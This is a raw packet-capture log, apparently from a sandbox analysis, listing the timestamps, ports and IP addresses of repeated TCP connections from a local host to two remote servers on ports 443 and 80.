Oct 8, 2024 18:24:28.004067898 CEST	443	61440	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.284986973 CEST	443	61440	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.285149097 CEST	443	61440	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.285305977 CEST	61440	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.285430908 CEST	61440	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.285475969 CEST	443	61440	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.290406942 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.290503979 CEST	443	61441	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.290647030 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.291765928 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.291800976 CEST	443	61441	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.883759022 CEST	443	61441	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.883908033 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.886744022 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.886776924 CEST	443	61441	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.887641907 CEST	443	61441	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:28.888762951 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.888804913 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:28.888947010 CEST	443	61441	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:29.177608013 CEST	443	61441	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:29.177788973 CEST	443	61441	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:29.178034067 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.178034067 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.178034067 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.181415081 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.181467056 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:29.181548119 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.181780100 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.181797028 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:29.485914946 CEST	61441	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.485980034 CEST	443	61441	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:29.773296118 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:29.773394108 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.774502993 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.774529934 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:29.774900913 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:29.775638103 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.775681973 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:29.775738955 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.062606096 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.062767029 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.062768936 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.062858105 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.062894106 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.062894106 CEST	61442	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.062917948 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.062943935 CEST	443	61442	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.073120117 CEST	61443	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.073227882 CEST	443	61443	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.073304892 CEST	61443	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.073618889 CEST	61443	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.073657036 CEST	443	61443	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.671500921 CEST	443	61443	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.671595097 CEST	61443	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.673243999 CEST	61443	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.673257113 CEST	443	61443	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.673760891 CEST	443	61443	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.682265997 CEST	61443	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.682311058 CEST	61443	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.682332039 CEST	443	61443	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.976353884 CEST	443	61443	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.976531982 CEST	443	61443	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:30.976603985 CEST	61443	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.982465982 CEST	61443	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:30.982498884 CEST	443	61443	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:31.217170000 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:31.217217922 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:31.217283010 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:31.217586040 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:31.217602968 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:31.831790924 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:31.831881046 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:31.833559036 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:31.833580971 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:31.833818913 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:31.837279081 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:31.837544918 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:31.837569952 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.127207994 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.127284050 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.127358913 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.128319979 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.128350973 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.128367901 CEST	61444	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.128374100 CEST	443	61444	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.136605978 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.136709929 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.136785984 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.137207985 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.137248039 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.733347893 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.733458042 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.734649897 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.734683990 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.734954119 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:32.735757113 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.735797882 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:32.735852957 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.084657907 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.084717989 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.084774971 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.084826946 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.084850073 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.084867001 CEST	61445	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.084873915 CEST	443	61445	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.090171099 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.090204954 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.090281010 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.090567112 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.090579987 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.680195093 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.680321932 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.695489883 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.695519924 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.695869923 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:33.707897902 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.707921028 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:33.707930088 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:34.334184885 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:34.334259987 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:34.334378004 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:34.334378004 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:34.334467888 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:34.335051060 CEST	61446	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:34.335068941 CEST	443	61446	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:34.340467930 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:34.340508938 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:34.340702057 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:34.340954065 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:34.340967894 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.118082047 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.118148088 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.119827986 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.119843960 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.120057106 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.120903015 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.120932102 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.120943069 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.402494907 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.402575016 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.402627945 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.402674913 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.402695894 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.402704954 CEST	61447	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.402712107 CEST	443	61447	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.406425953 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.406469107 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:35.406557083 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.406841993 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:35.406857014 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.010685921 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.010761976 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.011838913 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.011851072 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.012054920 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.012917042 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.012943983 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.012948990 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.310807943 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.310870886 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.310975075 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.311232090 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.311232090 CEST	61448	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.311247110 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.311255932 CEST	443	61448	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.315454006 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.315515041 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.315634012 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.315853119 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.315870047 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.911113977 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.911200047 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.912830114 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.912843943 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.913049936 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:36.914002895 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.914973974 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:36.914980888 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.202166080 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.202183962 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.202255011 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.202286005 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.251616001 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.288978100 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.288989067 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.289060116 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.289079905 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.289381027 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.289442062 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.289449930 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.329698086 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.343487024 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.343494892 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.343569994 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.343586922 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.356332064 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.356339931 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.356408119 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.356416941 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.375672102 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.375679970 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.375746012 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.375754118 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.387748003 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.387754917 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.387825012 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.387841940 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.388324976 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.388333082 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.388392925 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.388401985 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.404165983 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.404172897 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.404241085 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.404249907 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.427323103 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.427397013 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.427406073 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.427527905 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.427577019 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.427634001 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.427649021 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.427659988 CEST	61449	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.427665949 CEST	443	61449	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.546859026 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.546909094 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:37.546986103 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.547350883 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:37.547365904 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.162619114 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.162759066 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.477499008 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.477520943 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.478125095 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.478934050 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.478965998 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.478971958 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.785831928 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.786031008 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.786127090 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.786228895 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.786252022 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.786267996 CEST	61450	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.786276102 CEST	443	61450	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.790283918 CEST	61451	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.790326118 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:38.790393114 CEST	61451	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.790636063 CEST	61451	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:38.790646076 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.393284082 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.393371105 CEST	61451	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:39.401011944 CEST	61451	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:39.401021957 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.401350975 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.402487993 CEST	61451	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:39.402514935 CEST	61451	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:39.402520895 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.673273087 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.673432112 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.673537016 CEST	61451	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:39.673572063 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.673631907 CEST	61451	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:39.673639059 CEST	443	61451	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.680742025 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:39.680772066 CEST	443	61452	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:39.680869102 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:39.681116104 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:39.681126118 CEST	443	61452	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:40.279355049 CEST	443	61452	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:40.279510021 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:40.280744076 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:40.280750036 CEST	443	61452	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:40.281065941 CEST	443	61452	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:40.283793926 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:40.283823013 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:40.283827066 CEST	443	61452	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:40.573681116 CEST	443	61452	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:40.573965073 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:40.573965073 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:40.574124098 CEST	443	61452	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:40.574167967 CEST	443	61452	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:40.574213028 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:40.574213028 CEST	61452	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:45.610567093 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:45.610620022 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:45.610698938 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:45.623328924 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:45.623348951 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:46.215118885 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:46.215188026 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:46.618514061 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:46.618539095 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:46.618948936 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:46.782855988 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:46.922631025 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:46.922652006 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:46.922661066 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:47.342535019 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:47.342638016 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:47.342686892 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:47.348495007 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:47.348537922 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:24:47.348550081 CEST	61454	443	192.168.2.6	23.145.40.168
Oct 8, 2024 18:24:47.348556995 CEST	443	61454	23.145.40.168	192.168.2.6
Oct 8, 2024 18:25:08.837580919 CEST	61455	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:08.842602015 CEST	80	61455	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:08.842715979 CEST	61455	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:08.842891932 CEST	61455	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:08.842936039 CEST	61455	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:08.847851038 CEST	80	61455	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:08.848076105 CEST	80	61455	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:09.724469900 CEST	80	61455	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:09.724721909 CEST	80	61455	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:09.724771976 CEST	61455	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:09.724823952 CEST	61455	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:09.729674101 CEST	80	61455	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:10.390739918 CEST	61456	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:10.395698071 CEST	80	61456	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:10.395771027 CEST	61456	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:10.395896912 CEST	61456	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:10.395910025 CEST	61456	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:10.400811911 CEST	80	61456	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:10.400841951 CEST	80	61456	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:11.260760069 CEST	80	61456	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:11.261322975 CEST	80	61456	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:11.261401892 CEST	61456	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:11.261590958 CEST	61456	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:11.266647100 CEST	80	61456	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:16.977565050 CEST	61457	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:16.982892036 CEST	80	61457	160.177.223.165	192.168.2.6
Oct 8, 2024 18:25:16.982997894 CEST	61457	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:16.983130932 CEST	61457	80	192.168.2.6	160.177.223.165
Oct 8, 2024 18:25:16.983166933 CEST	61457	80	192.168.2.6	160.177.223.165
